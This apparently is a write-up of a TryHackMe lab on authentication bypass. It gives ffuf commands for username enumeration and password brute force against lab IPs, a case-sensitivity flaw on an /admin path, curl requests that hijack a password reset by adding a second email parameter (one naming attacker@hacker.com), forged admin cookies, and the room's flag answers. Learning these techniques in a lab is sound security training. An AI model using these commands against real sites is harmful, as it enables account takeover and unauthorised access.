Authentication Bypass — TryHackMe Walkthrough

Authentication Bypass — TryHackMe Walkthrough

Username Enumeration

If you attempt to enter the username "admin" and fill the remaining form fields with false information, you will likely encounter an error message stating, "An account with this username already exists." This error message can be utilized to generate a list of valid usernames that are already registered in the system. To accomplish this, you can employ the ffuf tool, which compares a given list of commonly used usernames against the system's user database to identify any matches.

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.109.65/customers/signup -mr "username already exists"

In the above example, the -w argument select the username wordlist that we're going to check against the server database if they exist. -d argument specifies the data that we going to sent to the server. in our case, we have the fields username, email, password and cpassword. We've set the value of the username to FUZZ. In the ffuf tool, the FUZZ keyword signifies where the contents from our wordlist will be inserted in the request. The -H argument is used for adding additional headers to the request we just made. We're setting the Content-Type is used to specify the format of data being sent in an HTTP request. -u argument specifies the target URL that we're making a request to. Finally -mr argument is the text on the webpage that we're looking for to validate that we've found a valid username.

Brute Force

Using the valid_usernames.txt file generated in the previous task, we can proceed with performing a brute force attack on the login page http://10.10.109.65/customers/login.

NOTE! that if you obtained your 'valid_usernames' file by directly piping the output from ffuf, you may encounter challenges when executing this task. Ensure that your data is properly organized by either cleaning the information or copying only the usernames into a new file.

A brute force attack is an automated process that tries a list of commonly used passwords against a single username or a list of usernames.

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.109.65/customers/login -fc 200

This ffuf command differs from the previous one in Task 2, as it incorporates multiple wordlists and requires the specification of custom FUZZ keywords. Unlike the previous command that used the generic "FUZZ" keyword, we need to define our own placeholders to indicate where the data from the wordlists will be inserted. In this particular case, we have opted to use "W1" to represent the list of valid usernames and "W2" to represent the list of passwords being tested.

To handle multiple wordlists, we employ the -w argument followed by the respective wordlists separated by commas. This allows us to utilize distinct sources for usernames and passwords within the command.

Furthermore, in order to determine a successful match, we utilize the -fc argument to check for an HTTP status code other than 200.

Logic Flaw

What's a Logic Flaw?

Occasionally, authentication processes may exhibit logic flaws, which occur when a hacker manages to bypass, circumvent, or manipulate the ordinary logical flow of an application. While logic flaws can be present in various sections of a website, our focus in this case will be on illustrating examples specifically related to authentication.

In the given mock code example, there is a check implemented to verify if the path visited by the client starts with "/admin". If this condition is true, additional checks are performed to determine if the client is an admin. However, if the page doesn't begin with "/admin", the page is displayed to the client without any further checks.

The provided code snippet includes a conditional statement that examines the path and applies different actions based on its value. If the path starts with "/admin", the code likely includes logic to verify the client's admin status before granting access to certain privileged content or functionality. Conversely, if the path does not begin with "/admin", the code simply displays the page to the client without any additional checks or restrictions.

if( url.substr(0,6) === '/admin') {
    # Code to check user is an admin
} else {
    # View Page
}

Because the aforementioned PHP code example uses three equals signs (===), it's looking for an exact match on the string, including the same letter casing. The code exhibits a logic flaw as it fails to verify the privileges of an unauthenticated user who requests the /adMin path. Consequently, the page is displayed to the user without undergoing any authentication checks, completely bypassing the authentication mechanisms.

Logic Flaw Practical

Upon analyzing the Reset Password function of the Acme IT Support website at http://10.10.212.120/customers/reset, we observed that a form is provided where users can enter the email address associated with their account for password reset purposes. In the event that an invalid email address is entered, the website responds with the error message "Account not found from supplied email address.

To illustrate the process, let's assume we enter the email address robert@acmeitsupport.thm in the form, which is accepted by the system. Next, we proceed to the next stage of the form, where we are prompted to provide the associated username. Entering "robert" as the username and clicking the "Check Username" button triggers a confirmation message informing us that a password reset email will be sent to robert@acmeitsupport.thm

By now, you may be wondering what the vulnerability could be in this application as you have to know both the email and username and then the password link is sent to the email address of the account owner.

In the second step of the reset email process, the username is submitted in a POST field to the web server, and the email address is sent in the query string request as a GET field.

Let's illustrate this by using the curl tool to manually make the request to the web server.

curl 'http://10.10.254.147/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert'

To include an additional header in the request, we utilize the -H flag. In this particular case, we set the Content-Type header to application/x-www-form-urlencoded. This informs the web server that we are transmitting form data, enabling it to interpret our request accurately.

In the application, the user account is retrieved using the query string, but later on, in the application logic, the password reset email is sent using the data found in the PHP variable $_REQUEST.

Indeed, the PHP $_REQUEST variable is an array that encompasses data obtained from both the query string and POST data. In cases where the same key name is used for both the query string and POST data, the application logic for this variable prioritizes the POST data fields over the query string. Consequently, if an additional parameter is introduced to the POST form, it grants control over the destination of the password reset email, potentially allowing manipulation of the email delivery address. This behavior should be considered as it may introduce security vulnerabilities or unintended consequences.

curl 'http://10.10.254.147/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'

To proceed, you are required to register an account on the Acme IT support customer section. Upon registration, you will receive a unique email address that can be utilized for creating support tickets. The email address follows the format of {username}@customer.acmeitsupport.thm.

Now rerunning Curl but with your @acmeitsupport.thm in the email field you'll have a ticket created on your account which contains a link to log you in as Robert. Using Robert's account, you can view their support tickets and reveal a flag.

curl 'http://10.10.254.147/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email={username}@customer.acmeitsupport.thm'

The key name being used for both the query string and POST data can vary depending on the specific implementation of the application. It is typically determined by the form input field name or the parameter name used in the URL.

For example, if the key name for the email address is "email", it could be used both in the query string (as a URL parameter) and in the POST data (as a form field) for submitting the email address. In this case, the application logic would prioritize the value from the POST data over the value from the query string if both are present.

It's important to note that the specific key name should be determined based on the application's implementation and how it handles data from the query string and POST requests.

Examining and editing the cookies set by the web server during your online session can have multiple outcomes, such as unauthenticated access, access to another user's account, or elevated privileges.

Plain Text

The contents of some cookies can be in plain text, and it is obvious what they do. Take, for example, if these were the cookie set after a successful login:

                Set-Cookie: logged_in=true; Max-Age=3600; Path=/
                    Set-Cookie: admin=false; Max-Age=3600; Path=/

We see one cookie (logged_in), which appears to control whether the user is currently logged in or not, and another (admin), which controls whether the visitor has admin privileges. Using this logic, if we were to change the contents of the cookies and make a request we'll be able to change our privileges.

First, we'll start by requesting the target page:

curl http://10.10.42.104/cookie-test

We can see we are returned a message of: Not Logged In

Now we'll send another request with the logged_in cookie set to true and the admin cookie set to false:

curl -H "Cookie: logged_in=true; admin=false" http://10.10.42.104/cookie-test

We are given the message: Logged In As A User

Finally, we'll send one last request setting both the logged_in and admin cookie to true:

curl -H "Cookie: logged_in=true; admin=true" http://10.10.42.104/cookie-test

This returns the result: Logged In As An Admin as well as a flag which you can use to answer question one.

Hashing

Sometimes cookie values can look like a long string of random characters; these are called hashes which are an irreversible representation of the original text. Here are some examples that you may come across:

Original StringHash MethodOutput
1md5c4ca4238a0b923820dcc509a6f75849b
1sha-2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
1sha-5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
1sha1356a192b7913b04c54574d18c28d46e6395428ab

You can see from the above table that the hash output from the same input string can significantly differ depending on the hash method in use. Even though the hash is irreversible, the same output is produced every time, which is helpful for us as services such as https://crackstation.net/ keep databases of billions of hashes and their original strings.

Encoding

Encoding is similar to hashing in that it creates what would seem to be a random string of text, but in fact, the encoding is reversible. So it begs the question, what is the point in encoding? Encoding allows us to convert binary data into human-readable text that can be easily and safely transmitted over mediums that only support plain text ASCII characters.

Common encoding types are base32 which converts binary data to the characters A-Z and 2-7, and base64 which converts using the characters a-z, A-Z, 0-9,+, / and the equals sign for padding.

Take the below data as an example which is set by the web server upon logging in:

Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/

This string base64 decoded has the value of {"id":1,"admin": false} we can then encode this back to base64 encoded again but instead setting the admin value to true, which now gives us admin access.

┌─[shadow@parrot]─[~/Desktop]
└──╼ $curl -H "Cookie: logged_in=true; admin=true" http://10.10.42.104/cookie-test
Logged In As An Admin - THM{COOKIE_TAMPERING}

└──╼ $echo "VEhNe0JBU0U2NF9FTkNPRElOR30=" > value
┌─[shadow@parrot]─[~/Desktop]
└──╼ $base64 -d value 
THM{BASE64_ENCODING}

┌─[shadow@parrot]─[~/Desktop]
└──╼ $nano decode
┌─[shadow@parrot]─[~/Desktop]
└──╼ $base64 decode 
eyJpZCI6MSwiYWRtaW4iOnRydWV9Cg==